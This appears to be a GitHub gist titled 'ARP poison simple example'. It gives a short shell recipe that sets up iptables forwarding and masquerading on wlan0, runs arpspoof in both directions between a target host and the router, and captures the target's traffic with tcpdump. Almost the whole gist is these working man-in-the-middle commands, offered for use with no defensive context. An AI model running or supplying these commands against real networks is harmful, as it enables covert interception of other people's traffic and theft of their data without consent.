Created
July 5, 2024 16:36
-
-
Save jrelo/08de68cbace98f91142251d95daea2df to your computer and use it in GitHub Desktop.
ARP poison simple example
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# clear existing rules | |
#sudo iptables -F | |
#sudo iptables -t nat -F | |
#sudo iptables -X | |
# allow forwarding for related and established connections | |
sudo iptables -A FORWARD -i wlan0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT | |
# allow forwarding from wlan0 to wlan0 (both directions) | |
sudo iptables -A FORWARD -i wlan0 -o wlan0 -j ACCEPT | |
# set up NAT (optional) | |
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE | |
# terminal 1 | |
sudo arpspoof -i wlan0 -t $targetip $routerip | |
# terminal 2 | |
sudo arpspoof -i wlan0 -t $routerip $targetip | |
#terminal 3 | |
sudo tcpdump -i wlan0 host $targetip -v |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment